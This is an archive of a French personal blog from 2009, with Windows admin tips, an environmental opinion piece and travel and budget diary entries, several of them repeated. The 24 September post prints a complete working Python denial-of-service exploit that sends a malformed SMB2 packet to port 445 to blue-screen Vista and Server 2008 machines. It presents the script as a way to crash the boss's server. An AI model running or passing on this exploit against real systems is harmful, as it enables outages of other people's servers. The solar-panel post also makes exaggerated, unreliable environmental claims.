La création de liens symboliques sous Windows était une chose qui m'avait manqué jusqu'à présent. Sous Linux, j'étais habitué à utiliser "ln -s" pour faire mes liens. Mais sous Windows, ca ne fonctionne pas, bien entendu.
En revanche, il existe "junction", téléchargeable ici.
Vous pouvez faire des jonctions entre différents dossiers ou partitions.
C'est très utile si vous avez par exemple un serveur avec 8Gb d'espace disque pour le système d'exploitation, et que certains dossiers deviennent trop gros. Il est alors possible de les déplacer dans votre partition de données et de les relier de manière symbolique. Windows n'y voit que du feu, et vous laisse un peu plus d'espace disque.
jeudi 22 octobre 2009
mardi 13 octobre 2009
Windows x64 et applications dotNet x64 avec DLLs x86
Les versions de Windows en 64 bits ont apporté bien des avantages, tels que la gestion de plus de 4Gb de mémoire Ram.
Mais des inconvénients existent aussi. Certains drivers ne sont pas compatibles par exemple. Mais les temps changent et l'arrivée de Windows Vista et de Seven favorise la sortie de drivers de nouvelle génération.
Cependant... Si vous développez des applications en dotNet, pensez à recompiler tout vos composants, y compris les DLLs utilisées.
Windows on Windows 64 (ou WoW64) permet d'émuler Windows 32 bits. Les applications compilées en 32 bits (ou x86) fonctionnent donc très bien. Si vos DLLs sont en x86, pas de problème, tout fonctionne.
En revanche, si l'exécutable est compilé en 64 bits (x64), il n'est pas émulé. Quand il fait appel à une DLL, il ne fera pas la différence entre une DLL en x86 et une en x64. Vous obtenez alors ce magnifique message d'erreur :
Si vous voulez faire marcher votre application sur des architectures en x64, nous n'avez que trois possibilités :
Ce petit utilitaire à utiliser en ligne de commande est disponible dans le SDK du Framework.
Si vous ne souhaitez pas télécharger tout le SDK, téléchargez l'exécutable directement en cliquant ici.
Enregistrez le fichier dans votre ordinateur.
Ouvrez une invite de commande.
Tapez "corflags Lettre:\Chemin\Vers\Exécutable\A\Patcher\programme.exe /32BIT+".
Pour plus d'informations sur CorFlags, rendez-vous sur cette page de MSDN.
Mais des inconvénients existent aussi. Certains drivers ne sont pas compatibles par exemple. Mais les temps changent et l'arrivée de Windows Vista et de Seven favorise la sortie de drivers de nouvelle génération.
Cependant... Si vous développez des applications en dotNet, pensez à recompiler tout vos composants, y compris les DLLs utilisées.
Windows on Windows 64 (ou WoW64) permet d'émuler Windows 32 bits. Les applications compilées en 32 bits (ou x86) fonctionnent donc très bien. Si vos DLLs sont en x86, pas de problème, tout fonctionne.
En revanche, si l'exécutable est compilé en 64 bits (x64), il n'est pas émulé. Quand il fait appel à une DLL, il ne fera pas la différence entre une DLL en x86 et une en x64. Vous obtenez alors ce magnifique message d'erreur :
System.BadImageFormatException: Tentative de chargement d'un programme de format incorrect. (Exception de HRESULT : 0x8007000B)La page MSDN relative à cette erreur est disponible ici.
Si vous voulez faire marcher votre application sur des architectures en x64, nous n'avez que trois possibilités :
- Recompiler votre application en portant l'intégralité de votre projet en x64.
- Recompiler votre exécutable en forçant le démarrage de votre application en x86.
- Utiliser "CorFlags", comme décrit ci-dessous, pour "patcher" l'exécutable et le forcer à s'exécuter en 32 bits.
Ce petit utilitaire à utiliser en ligne de commande est disponible dans le SDK du Framework.
Si vous ne souhaitez pas télécharger tout le SDK, téléchargez l'exécutable directement en cliquant ici.
Enregistrez le fichier dans votre ordinateur.
Ouvrez une invite de commande.
Tapez "corflags Lettre:\Chemin\Vers\Exécutable\A\Patcher\programme.exe /32BIT+".
Pour plus d'informations sur CorFlags, rendez-vous sur cette page de MSDN.
lundi 12 octobre 2009
The Time Has Come
60 artistes unis pour la planète.
Pas parce que c'est la mode, mais parce que ca devient urgent.
Les glaces fondent, le climat change. L'augmentation des ouragans, des tornades, typhons, tant en nombre qu'en intensité montre bien que la Terre fait la gueule.
Je ne dis pas "votez vert" mais faites des gestes simples.
Etre respectueux de l'environnement ne veut pas dire laisser sa voiture au garage, ou devoir manger des patates à tous les repas pour montrer son désaccord avec la société de consommation dans laquelle nous vivons, responsable de gaspillages à grande échelle!
En revanche, respecter l'environnement c'est par exemple :
Une éolienne récupère l'énergie du vent pour la transformer en électricité. Mais une partie du vent est alors anéantie.
Les panneaux solaires ne sont pas propres non plus. La quantité d'énergie nécessaire à leur création et à leur retraitement une fois vieux, plus les déchets qu'ils génèrent lors de leur production et destruction, en font des objets extrêmement pollueurs et nocifs.
Afin d'être rentable d'un point de vue technologique (quantité d'énergie produite vs quantité d'énergie nécessaire pour sa fabrication), une cellule photovoltaïque (celles qui composent les panneaux solaires) doit être utilisée entre 2 et 3 ans suivant la technologie utilisée. Rajoutez à ca le cout d'achat, et faites vos calculs. Au bout de combien de temps la revente de votre électricité à EDF sera rentable?
Un grand nombre de personne ne sait pas comment est fait une cellule photovoltaïque et beaucoup de personnes se réfugient derrière leur ignorance pour se prouver qu'ils font de bonnes choses... Mais voilà :
Avant de se retrouver sur les toitures, le silicium utilisé dans les panneaux solaires subits un grand nombre de modifications. Comme on ne le trouve pas à l'état pur dans la nature, on doit le séparer de ses composants. Pour se faire, on va attaquer du siliciure de cuivre par exemple avec de l'acide chlorhydrique, à 300°C. Une fois distillé on le chauffe à 950°C pour qu'il se précipite sous la forme de blocs solides.
Le silicium obtenu est ensuite dopé au Phosphore, Antimoine, Bore, ou même Arsenic... Tous ces éléments sont toxiques (sauf le bore qui ne serait pas cancérigène pour les rats de laboratoire, mais en perturberait la reproduction... Rien de grave, me direz-vous!).
Le mélange silicium-dopeur doit ensuite être cristallisé. Il est donc porté à sa température de fusion qui est de 1500°C.
Le mono-cristal cylindrique obtenu après cristallisation est ensuite découpé en tranches de 0,2 à 0,3 mm.
Les surfaces sont polies au diamant, puis plongées dans un bain acide à base d'acides fluorhydrique et nitrique (cette étape peut être remplacée par un polissage électrolytique).
Alors bien sur... Il faut continuer à installer des panneaux solaires sur nos toits. Il faut continuer à faire des efforts.
Mais ce n'est pas en pensant faire une bonne action qu'on en fait forcément une. L'innocence c'est pas une excuse. L'information est à la portée de tous. Renseignez-vous, soyez curieux.
Il y a des solutions pour éviter de léguer à nos petits enfants une Terre morte, où le seul espoir de survie sera d'acheter des bonbonnes d'oxygène en attendant d'être expatriés sur une nouvelle planète où nous pourrons tout recommencer, une fois de plus.
Pas parce que c'est la mode, mais parce que ca devient urgent.
Les glaces fondent, le climat change. L'augmentation des ouragans, des tornades, typhons, tant en nombre qu'en intensité montre bien que la Terre fait la gueule.
Je ne dis pas "votez vert" mais faites des gestes simples.
Etre respectueux de l'environnement ne veut pas dire laisser sa voiture au garage, ou devoir manger des patates à tous les repas pour montrer son désaccord avec la société de consommation dans laquelle nous vivons, responsable de gaspillages à grande échelle!
En revanche, respecter l'environnement c'est par exemple :
- Ne pas imprimer des documents Word inutiles. Utiliser des brouillons et un stylo pour recopier un croquis au lieu de l'imprimer, d'utiliser 1/4 de la feuille, puis la jeter.
- Garder ces papiers pour allumer des barbecues ou sa cheminé (pour ceux qui en ont une).
- Changer de voiture si elle a 20 ans. Ca consomme pour rien et ca pollue.
- Vérifier la pression des pneus : meilleure adhérence, meilleure transmission de la puissance du moteur, consommation réduite, pollution réduite, et sécurité.
- Utiliser la clim sur autoroute avec une température moyenne, et ne pas ouvrir les vitres ! C'est stupide, l'air s'engouffre dans la voiture et agit comme un aérofrein. Mettre sa clim à 18° en plein été consomme autant que des vitres ouvertes à 130km/h.
- Demander à recevoir ses factures par Internet et non-pas par courrier.
- Éteindre les écrans des ordinateurs en sortant du travail.
- Prendre les transports en commun dans les villes. Favoriser le co-voiturage. Une voiture, en général, il y a 4 places. Remplir une voiture le matin pour aller travailler, c'est enlever 3 autres véhicules sur les routes.
- Ne pas gaspiller de nourriture. Le traitement des déchets demande beaucoup d'énergie.
- Utiliser des piles rechargeables.
- UTILISER SA TETE, SE POSER DES QUESTIONS! ARRETER DE JOUER LA CARTE DE L'IGNORANCE!
Une éolienne récupère l'énergie du vent pour la transformer en électricité. Mais une partie du vent est alors anéantie.
Les panneaux solaires ne sont pas propres non plus. La quantité d'énergie nécessaire à leur création et à leur retraitement une fois vieux, plus les déchets qu'ils génèrent lors de leur production et destruction, en font des objets extrêmement pollueurs et nocifs.
Afin d'être rentable d'un point de vue technologique (quantité d'énergie produite vs quantité d'énergie nécessaire pour sa fabrication), une cellule photovoltaïque (celles qui composent les panneaux solaires) doit être utilisée entre 2 et 3 ans suivant la technologie utilisée. Rajoutez à ca le cout d'achat, et faites vos calculs. Au bout de combien de temps la revente de votre électricité à EDF sera rentable?
Un grand nombre de personne ne sait pas comment est fait une cellule photovoltaïque et beaucoup de personnes se réfugient derrière leur ignorance pour se prouver qu'ils font de bonnes choses... Mais voilà :
Avant de se retrouver sur les toitures, le silicium utilisé dans les panneaux solaires subits un grand nombre de modifications. Comme on ne le trouve pas à l'état pur dans la nature, on doit le séparer de ses composants. Pour se faire, on va attaquer du siliciure de cuivre par exemple avec de l'acide chlorhydrique, à 300°C. Une fois distillé on le chauffe à 950°C pour qu'il se précipite sous la forme de blocs solides.
Le silicium obtenu est ensuite dopé au Phosphore, Antimoine, Bore, ou même Arsenic... Tous ces éléments sont toxiques (sauf le bore qui ne serait pas cancérigène pour les rats de laboratoire, mais en perturberait la reproduction... Rien de grave, me direz-vous!).
Le mélange silicium-dopeur doit ensuite être cristallisé. Il est donc porté à sa température de fusion qui est de 1500°C.
Le mono-cristal cylindrique obtenu après cristallisation est ensuite découpé en tranches de 0,2 à 0,3 mm.
Les surfaces sont polies au diamant, puis plongées dans un bain acide à base d'acides fluorhydrique et nitrique (cette étape peut être remplacée par un polissage électrolytique).
Alors bien sur... Il faut continuer à installer des panneaux solaires sur nos toits. Il faut continuer à faire des efforts.
Mais ce n'est pas en pensant faire une bonne action qu'on en fait forcément une. L'innocence c'est pas une excuse. L'information est à la portée de tous. Renseignez-vous, soyez curieux.
Il y a des solutions pour éviter de léguer à nos petits enfants une Terre morte, où le seul espoir de survie sera d'acheter des bonbonnes d'oxygène en attendant d'être expatriés sur une nouvelle planète où nous pourrons tout recommencer, une fois de plus.
vendredi 2 octobre 2009
Bug dans Outlook 2010
Ma "boite d'envoi" me signale que un mail est en attente dans la barre de gauche. Or, le mail a été envoyé il y a plusieurs heures, et reçu par l'intéressée. De plus aucun mail n'apparait dans la zone de droite.
mercredi 30 septembre 2009
Microsoft Office 2010 Beta
J'ai téléchargé Office 2010 Beta, build 14.0.4417.1000, histoire de voir un peu ce que ca donne.
L'installation se déroule sans soucis, jusqu'à la fin. Et paf! Erreur 1920 :
Sous Windows Seven, Windows Search fait partie du système et ne peux pas être réinstallé ou mis à jour directement.
Ma première idée : désactiver le module.
Dans le Panneau de Configuration, Programmes et Fonctionnalités, Fonctionnalités Windows.
Je décoche la case Windows Search, et je redémarre le PC.
Je relance l'installation et j'attends...
La barre de progression est maintenant au même niveau que tout à l'heure.
Pour observer le comportement de l'installation, je lance le gestionnaire de services, et l'observateur d'évènements.
Dans les Services Windows, le service Windows Search ne semble pas présent. Donc je pense que l'installateur d'Office n'a pas rajouté le module par lui-même.
Observateur d'évènements -> Journaux Windows -> Applications : Rien d'alarmant... Ouf
L'installation continue... Et se termine !
L'installation se déroule sans soucis, jusqu'à la fin. Et paf! Erreur 1920 :
Error 1920. Sercice 'Windows Search' (wsearch) failed to start. Verify that you have sufficient privileges to start system services.Comment faire...
Sous Windows Seven, Windows Search fait partie du système et ne peux pas être réinstallé ou mis à jour directement.
Ma première idée : désactiver le module.
Dans le Panneau de Configuration, Programmes et Fonctionnalités, Fonctionnalités Windows.
Je décoche la case Windows Search, et je redémarre le PC.
Je relance l'installation et j'attends...
La barre de progression est maintenant au même niveau que tout à l'heure.
Pour observer le comportement de l'installation, je lance le gestionnaire de services, et l'observateur d'évènements.
Dans les Services Windows, le service Windows Search ne semble pas présent. Donc je pense que l'installateur d'Office n'a pas rajouté le module par lui-même.
Observateur d'évènements -> Journaux Windows -> Applications : Rien d'alarmant... Ouf
L'installation continue... Et se termine !
jeudi 24 septembre 2009
Faire planter un serveur dans une entreprise... Trop simple !
Je viens de tester cette méthode sur un de mes serveurs, sous Windows Server 2008 :
Voilà un petit but de code en Python. Vous voulez faire planter un serveur ?
Copiez ce code dans votre bloc note, modifier "IP_ADD" par l'adresse IP du serveur à faire sauter, sauvegardez le tout sous "planter_le_serveur_du_boss.py".
Téléchargez le runtime Python à cette adresse.
Double-cliquez sur le fichier créé... Et vous obtiendrez un bel écran bleu sur le serveur!
Ce petit script marche avec Windows Vista et Server 2008, mais également sous Windows Seven RC. La version finale de Seven est protégée en revanche.
Vous voulez connaitre le comble de l'histoire? Cette faille de sécurité est liée à un patch de sécurité précédent de Windows! Magnifique...
Cette faille concerne le protocole de partage de fichiers de Windows, le protocole Samba. Le seul moyen de se protéger de cette faille pour le moment est de désactiver le partage de fichiers. C'est bien mais ça reste gênant sur un serveur sensé servir de serveur de fichiers!
#!/usr/bin/python
#When SMB2.0 recieve a "&" char in the "Process Id High" SMB header field
#it dies with a PAGE_FAULT_IN_NONPAGED_AREA error
from socket import socket
from time import sleep
host = "IP_ADDR", 445
buff = (
"\x00\x00\x00\x90" # Begin SMB header: Session message
"\xff\x53\x4d\x42" # Server Component: SMB
"\x72\x00\x00\x00" # Negociate Protocol
"\x00\x18\x53\xc8" # Operation 0x18 & sub 0xc853
"\x00\x26"# Process ID High: --> :) normal value should be "\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xfe"
"\x00\x00\x00\x00\x00\x6d\x00\x02\x50\x43\x20\x4e\x45\x54"
"\x57\x4f\x52\x4b\x20\x50\x52\x4f\x47\x52\x41\x4d\x20\x31"
"\x2e\x30\x00\x02\x4c\x41\x4e\x4d\x41\x4e\x31\x2e\x30\x00"
"\x02\x57\x69\x6e\x64\x6f\x77\x73\x20\x66\x6f\x72\x20\x57"
"\x6f\x72\x6b\x67\x72\x6f\x75\x70\x73\x20\x33\x2e\x31\x61"
"\x00\x02\x4c\x4d\x31\x2e\x32\x58\x30\x30\x32\x00\x02\x4c"
"\x41\x4e\x4d\x41\x4e\x32\x2e\x31\x00\x02\x4e\x54\x20\x4c"
"\x4d\x20\x30\x2e\x31\x32\x00\x02\x53\x4d\x42\x20\x32\x2e"
"\x30\x30\x32\x00"
)
s = socket()
s.connect(host)
s.send(buff)
s.close()
Voilà un petit but de code en Python. Vous voulez faire planter un serveur ?
Copiez ce code dans votre bloc note, modifier "IP_ADD" par l'adresse IP du serveur à faire sauter, sauvegardez le tout sous "planter_le_serveur_du_boss.py".
Téléchargez le runtime Python à cette adresse.
Double-cliquez sur le fichier créé... Et vous obtiendrez un bel écran bleu sur le serveur!
Ce petit script marche avec Windows Vista et Server 2008, mais également sous Windows Seven RC. La version finale de Seven est protégée en revanche.
Vous voulez connaitre le comble de l'histoire? Cette faille de sécurité est liée à un patch de sécurité précédent de Windows! Magnifique...
Cette faille concerne le protocole de partage de fichiers de Windows, le protocole Samba. Le seul moyen de se protéger de cette faille pour le moment est de désactiver le partage de fichiers. C'est bien mais ça reste gênant sur un serveur sensé servir de serveur de fichiers!
mercredi 23 septembre 2009
Blackberry Mobile Data System Service
Aujourd'hui en stage, j'ai passé près de 2 heures à comprendre pourquoi le service MDS de Blackberry ne voulait pas démarrer.
J'avais à l'écran de mon portable un message du genre "Le service Mobile Data System n'est pas disponible" ou "The Mobile Data System (MDS) is not available"...
Je lance la console de gestion de Blackberry et je me rend effectivement compte que le service ne démarrait pas. L'Event Viewer de Windows Server ne me donnant pas d'informations utiles (à part "Cannot show the error description") j'ai cherché à trifouiller partout.
Le MDS se base sur Tomcat, dépendant de la machine vurtuelle Java. Et là... Ding !
Pour éviter d'encombrer le serveur j'avais supprimé la vieille machine 1.5 en la remplacant par la 1.6. Or, le service démarre en exécutant la machine virtuelle Java qui lui est passée en paramètre lors de son installation.
Lancement du bon vieux Regedit :
La clé "ImagePath" contient la ligne de commande du service :
La partie en gras est ce qu'il faut modifier. J'ai mis "jre6" à la place de l'ancienne version, maintenant supprimée.
Et voilà, le service a redémarré.
J'avais à l'écran de mon portable un message du genre "Le service Mobile Data System n'est pas disponible" ou "The Mobile Data System (MDS) is not available"...
Je lance la console de gestion de Blackberry et je me rend effectivement compte que le service ne démarrait pas. L'Event Viewer de Windows Server ne me donnant pas d'informations utiles (à part "Cannot show the error description") j'ai cherché à trifouiller partout.
Le MDS se base sur Tomcat, dépendant de la machine vurtuelle Java. Et là... Ding !
Pour éviter d'encombrer le serveur j'avais supprimé la vieille machine 1.5 en la remplacant par la 1.6. Or, le service démarre en exécutant la machine virtuelle Java qui lui est passée en paramètre lors de son installation.
Lancement du bon vieux Regedit :
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Servvices\Blackberry MDS Connection ServiceLa clé "ImagePath" contient la ligne de commande du service :
"D:\Program Files (x86)\Research In Motion\BlackBerry Enterprise Server\MDS\bin\bmds.exe" -s jvmpath="C:\Program Files (x86)\Java\jre6\bin\client\jvm.dll" -XX:+DisableExplicitGC -Xss64K -Xmx768M -Xms128M classpathdir="D:\Program Files (x86)\Research In Motion\BlackBerry Enterprise Server\MDS\classpath\\" wrkdir="D:\Program Files (x86)\Research In Motion\BlackBerry Enterprise Server\MDS\Servers\BLACKBERRYSERVER\\" webserverdir="D:\Program Files (x86)\Research In Motion\BlackBerry Enterprise Server\MDS\webserver\\" -rbes "SERVERNAS_MDS-CS_1"La partie en gras est ce qu'il faut modifier. J'ai mis "jre6" à la place de l'ancienne version, maintenant supprimée.
Et voilà, le service a redémarré.
Retour
Après une longue période d'absence, je reprend mon blog.
Pourquoi cette absence?
Restant en France pour cette année, je ne voyais pas l'intérêt de continuer ce blog. Mais comme je compte retourner en Californie l'an prochain, je vais continuer.
Pourquoi cette absence?
Restant en France pour cette année, je ne voyais pas l'intérêt de continuer ce blog. Mais comme je compte retourner en Californie l'an prochain, je vais continuer.
mardi 21 avril 2009
Journée à Sonoma Valley
Bon dernier post de la journée pour dire que...
Je suis allé aujourd'hui avec Max, PJ, Elodie et Chrystelle à Sonoma Valley, où on fait du vin...
Quelques dégustations malgré nos ages, et voilà...
Journée bien sympa à refaire sur Napa Valley!
Et ce soir, repas Mexicain chez Max!
Road Trip, 2800 miles environ
Et voilà, un autre Road Trip de fait!
On est partis de San Francisco le mardi 14 avril vers 6h, de l'appart.
Première étape, Las Vegas. Robin et Khalid n'y étaient jamais allé. A cause du vent, le "water show" du Belagio Hotel a été anulé, tant pis.
Deuxième étape, Hurricane, dans l'Utah. Justa avant le Capitol Reef Park.
Pendant cette journée nous avons visité la Valley of Fire State Park...
Troisième soir, au niveau de Torrey, également dans l'Utah juste après Zion Park puis Bryce Canyon sous la neige... Pas mal ^^
Torrey, Petit "village" de... aucun habitant je pense! La ville la plus proche, Teasdale, se trouve à moins de 8 miles, et 25 personnes vivent là!
De la neige... Et du froid. Il a fait -3°C le matin en se levant, et la voiture était toute blanche!
Puis ce fut le tour de Blanding dans l'Utah après Archees Park, Canyonland Park, puis le Dead Horse Point Park.
Vu que la frontière du Colorado se trouve a quelques miles de la route menant à Blanding, on a pris à l'Est au niveau de Monticello (toujours dans l'Utah). Après avoir pris quelques photos de nuit maleuseusement devant la pancarte "Welcome to Colorado", on a fait demi tour pour reprendre la route vers Blanding, vers le Nord.
On a ensuite dormis à Flagstaff dans l'Arizona. Durant la journée nous sommes passés par le désert, la réserve indienne des Mojaves. Après avoir passer la frontière de l'Arizona, on se retouve au niveau de Monument Valley... Wow!
En prenant vers l'Ouest à Moenave, on tombe sur le Grand Canyon... Encore une fois, Wow!
Avant dernière journée! Direction Hollywood en Californie en passant par Phoenix dans l'Arizona. Phoenix, ville en plein milieu du désert, ou l'essence n'était qu'à 1.87$ le gallon, est une ville très très chaude! Pas de vent... Trop chaud^^
Puis la route vers Los Angeles/Hollywood.
Dernière journée!
Hollywood Boulevard, les Etoiles, les empreintes de pieds et de mains de stars... Sympa ^^
On a pris vers la côte, direction Malibu en passant par Santa Monica. On ne s'est pas arrêté à Santa Monica mais on a passé quelque temps sur la plage de Malibu! Là, la température de l'eau est déjç plus confortable qu'au niveau de San Francisco!
Puis pour finir, direction San Francisco par la US 101. C'est plus cours que la Route 1 qui suit le bord de l'océan, mais moins lassant que l'autoroute...
En bref :
L'Utah est un état impressionant... Sa TVA est de 12.5% contrairement à celle de Californie qui est de 8.5%... Vu que tous les prix sont affichés hors taxes ca change un peu a la fin, sur la note...
Nan sérieux... Dans l'Utah, on peut passer de 5° à 25° en quelques heures de conduites. De 3000m d'altitude à 1000m... De la neige sur la route au désert sec.
7 jours au total, c'est long, mais sympa... Près de 2800 miles de route, faut les faire, c'est pas rien. Pour comparer c'est à peu près la distance qu'il y a entre Paris et la frontière Ouest du Kazagstan!
Ma voiture tient bien la distance et les contraintes climatiques... Plus que ce que je pensais. Je m'excuse ma grande, d'avoir dit du mal de toi les jours passés...
Je suis fatigué...
Tellement fatigué que j'allais oublier :
Voilà la carte du Road Trip. (pas encore complète)
Petite absence
J'avoue, je suis un gros flemmard!
Il s'en est passé des trucs ici à San Francisco depuis mon dernier post...
Repas sur la plage, avec un Kari Poulet fait par Adrier et Amélie. Superbe journée au soleil (et avec des coups de soleil également).
Des nouvelles sur les stages et sur nos reves américains qui s'effondrent légèrement... Ou du moins qui se trouvent être... des rêves!
Du beau temps...
Encore du beau temps.
Encore la plage...
Quelques cours...
Des cours supers avec un prof américain! Des cours de communication, que certains devraient passer pour améliorer leurs relations humaines.
Bref, de tout... Et des photos également, que je devrais ajouter d'ici peu.
jeudi 12 mars 2009
Windows Seven
Me revoilà de retour dans les betas de Windows!
J'ai installé Windows Seven, version 7048. Seven est la future version de Windows.
Ca faisait bien longtemps que je n'avais pas installé de version beta de Windows...
Ma première était la version 4074 de Longhorn (renommé par la suite Vista). Depuis Vista je n'ai pas essayé d'autres versions.
Seven 7048 est stable. Certains bugs sont présents cependant. Par exemple il est possible de modifier le niveau de sécurité de l'UAC sans que ce dernier ne demande confirmation... Grosse faille de sécurité.
Windows Explorer plante de temps en temps.
Ma carte Wifi n'est pas détectée et les drivers de XP sont nécessaires.
ESET Smart Security fait planter entièrement le système. Il faut utiliser la version sans pare feux (Nod32 Antivirus). Je pense que c'est à cause des drivers XP...
Et voilà... A part ca, la version 7057 est sortie ce matin... Je ne suis donc plus à jour!
J'ai installé Windows Seven, version 7048. Seven est la future version de Windows.
Ca faisait bien longtemps que je n'avais pas installé de version beta de Windows...
Ma première était la version 4074 de Longhorn (renommé par la suite Vista). Depuis Vista je n'ai pas essayé d'autres versions.
Seven 7048 est stable. Certains bugs sont présents cependant. Par exemple il est possible de modifier le niveau de sécurité de l'UAC sans que ce dernier ne demande confirmation... Grosse faille de sécurité.
Windows Explorer plante de temps en temps.
Ma carte Wifi n'est pas détectée et les drivers de XP sont nécessaires.
ESET Smart Security fait planter entièrement le système. Il faut utiliser la version sans pare feux (Nod32 Antivirus). Je pense que c'est à cause des drivers XP...
Et voilà... A part ca, la version 7057 est sortie ce matin... Je ne suis donc plus à jour!
Mauvaise journée
Mauvaise journée aujourd'hui pour mes comptes en banque...
Premièrement, je suis allé faire quelques courses à Safeway avec PJ... Plus de gel douche, plus de shampoing, plus de gel à raser... Ce genre de produits, j'aime pas prendre des premiers prix... Sentir le chewing-gum pendant 2 heures, ca m'intéresse pas. Donc forcément... Gel douche Axe, Shampoing Head & Soulders, gel à raser Gillette, savon visage Nitrogena... 40$!
Rajoutez le nécessaire pour manger et vous vous en tirez pour 97$ avec les réductions de la carte Safeway...
J'ai acheté quoi pour 57$? Oh ben, un sachet de Chips, une bouteille de Go Cola (Coca pas cher), de-trois trucs congelés, des pates, de l'eau minérale... Les trucs de chaque fois, quoi...
Ah bah oui mais il me reste plus que 44$ sur mon compte US... Donc paiment avec la carte HSBC France. Rajoutez 2.90% de frais plus une charge fixe de je sais plus combien.
Puis bon, faut bien faire le plein de temps en temps... Heureusement que c'est pas cher... 9 gallons (et oui, un plein de 9 gallons) pour même pas 20$, ouf.
Bah oui mais payer avec la carte US ca revient a se tirer une balle dans pied. Si j'ai besoin de payer plus de 20$ plus tard je pourrai pas... Donc pareil, paiement avec la carte HSBC France.
J'ai plus de liquide sur moi... La première agence HSBC est loin, très loin... Tant pis... Je retire 40$ depuis un distributeur de la Fargo... 3$ de frais entre HSBC USA et Fargo... Plus les frais liés à ma carte Francaise...
Retour à l'appart... Je me rend compte que j'ai toujours pas versé ma caution à l'ancien coloc'. 1034$ à verser soit 800€ au taux de change actuel. De HSBC France à HSBC France, pas de frais, ouf!
J'en profite pour me faire un virement depuis la France vers mon compte US... Pas de frais non plus. 150€ versés mais je ne vais pas les compter dans les frais de ma journée, puisqu'ils sont allés d'un de mes comptes vers un autre... Donc la balance s'équilibre.
Réception d'un mail. Progressive Drive Insurance, ca faisait longtemps... "Nous vous rappelons que vous devez payer la somme de 272$ d'ici le 14 mars"... Super! Il ne me reste rien sur mon compte US, l'argent de mon virement pour la caution est déjà partit, et le virement Fr-US a déjà été pris en compte... Il ne me reste plus assez sur mon compte HSBC France. Caisse d'Epargne? Ouf! C'est bon.
Je paye donc par carte bleu mon assurance depuis Internet. 272$ sans compter les frais de la Caisse d'Ep'. Génial!
Alors, petit calcul... 1470 dollars dépensés en une seule journée...
Désolé Maxime, mais Hawaii, maintenant... Ben je peux plus...
Premièrement, je suis allé faire quelques courses à Safeway avec PJ... Plus de gel douche, plus de shampoing, plus de gel à raser... Ce genre de produits, j'aime pas prendre des premiers prix... Sentir le chewing-gum pendant 2 heures, ca m'intéresse pas. Donc forcément... Gel douche Axe, Shampoing Head & Soulders, gel à raser Gillette, savon visage Nitrogena... 40$!
Rajoutez le nécessaire pour manger et vous vous en tirez pour 97$ avec les réductions de la carte Safeway...
J'ai acheté quoi pour 57$? Oh ben, un sachet de Chips, une bouteille de Go Cola (Coca pas cher), de-trois trucs congelés, des pates, de l'eau minérale... Les trucs de chaque fois, quoi...
Ah bah oui mais il me reste plus que 44$ sur mon compte US... Donc paiment avec la carte HSBC France. Rajoutez 2.90% de frais plus une charge fixe de je sais plus combien.
Puis bon, faut bien faire le plein de temps en temps... Heureusement que c'est pas cher... 9 gallons (et oui, un plein de 9 gallons) pour même pas 20$, ouf.
Bah oui mais payer avec la carte US ca revient a se tirer une balle dans pied. Si j'ai besoin de payer plus de 20$ plus tard je pourrai pas... Donc pareil, paiement avec la carte HSBC France.
J'ai plus de liquide sur moi... La première agence HSBC est loin, très loin... Tant pis... Je retire 40$ depuis un distributeur de la Fargo... 3$ de frais entre HSBC USA et Fargo... Plus les frais liés à ma carte Francaise...
Retour à l'appart... Je me rend compte que j'ai toujours pas versé ma caution à l'ancien coloc'. 1034$ à verser soit 800€ au taux de change actuel. De HSBC France à HSBC France, pas de frais, ouf!
J'en profite pour me faire un virement depuis la France vers mon compte US... Pas de frais non plus. 150€ versés mais je ne vais pas les compter dans les frais de ma journée, puisqu'ils sont allés d'un de mes comptes vers un autre... Donc la balance s'équilibre.
Réception d'un mail. Progressive Drive Insurance, ca faisait longtemps... "Nous vous rappelons que vous devez payer la somme de 272$ d'ici le 14 mars"... Super! Il ne me reste rien sur mon compte US, l'argent de mon virement pour la caution est déjà partit, et le virement Fr-US a déjà été pris en compte... Il ne me reste plus assez sur mon compte HSBC France. Caisse d'Epargne? Ouf! C'est bon.
Je paye donc par carte bleu mon assurance depuis Internet. 272$ sans compter les frais de la Caisse d'Ep'. Génial!
Alors, petit calcul... 1470 dollars dépensés en une seule journée...
Désolé Maxime, mais Hawaii, maintenant... Ben je peux plus...
dimanche 1 mars 2009
Ma carte mémoire foireuse...
Bon c'est nickel, j'ai réussi à récupérer les fichiers de ma carte mémoire. Tout est là, c'est super.
Des logiciels de récupération de données, il y en a pas mal sur le Net... Mais je pense que, le meilleur, c'est GetDataBack!
Deux versions, une pour les systèmes de fichiers FAT, et l'autre pour NTFS.
Ma carte mémoire étant formatée en FAT32, j'ai utilisé la version GetDataBack for FAT.
25 minutes pour lire lire l'ensemble de ma carte (de 8 Go).
5 minutes pour créer l'index des fichiers.
2 minutes pour copier les fichiers de la carte vers mon bureau.
L'avantage de ce logiciel c'est qu'il permet de prévisualiser les fichiers à récupérer. On peut alors sélectionner les fichiers un par un en fonction de leur état.
Il est capable de détecter plusieurs partitions et les classe par date.
En gros, virez les partitions de votre disque dur, réinstallez Windows, revirez les partitions réinstallez Windows, et GetDataBack trouvera vos 2 partitions précédentes. Après, l'état des fichiers dépend de si vous avez réécrit par dessus ou non... Dans ce cas... bye bye les données.
Dans mon cas, c'était juste un problème dont je ne connais pas la cause... Car en plus ma carte, après un test, ne semble pas défectueuse... Défaillance passagère (j'espère).
En tout cas, j'ai toutes mes photos, et elles seront bientot dans ma galerie.
En fait après les SGES... Ben ouais! J'ai plus de place sur mon disque dur maintenant que j'ai refait un multiboot avec Vista.
Vu que j'ai Server 2008 sur mon portable, le logiciel SGES risque de pas se lancer... J'ai donc été obligé de sacrifier mes photos (qui sont sur le PC de Toni), de repartitionner mon disque (Paragon Partition Manager 9.0, disque de boot), et de réinstaller Vista.
Tout ca pour des exams...
'fin bref... Vivement vendredi midi que les exams soient terminés!
Des logiciels de récupération de données, il y en a pas mal sur le Net... Mais je pense que, le meilleur, c'est GetDataBack!
Deux versions, une pour les systèmes de fichiers FAT, et l'autre pour NTFS.
Ma carte mémoire étant formatée en FAT32, j'ai utilisé la version GetDataBack for FAT.
25 minutes pour lire lire l'ensemble de ma carte (de 8 Go).
5 minutes pour créer l'index des fichiers.
2 minutes pour copier les fichiers de la carte vers mon bureau.
L'avantage de ce logiciel c'est qu'il permet de prévisualiser les fichiers à récupérer. On peut alors sélectionner les fichiers un par un en fonction de leur état.
Il est capable de détecter plusieurs partitions et les classe par date.
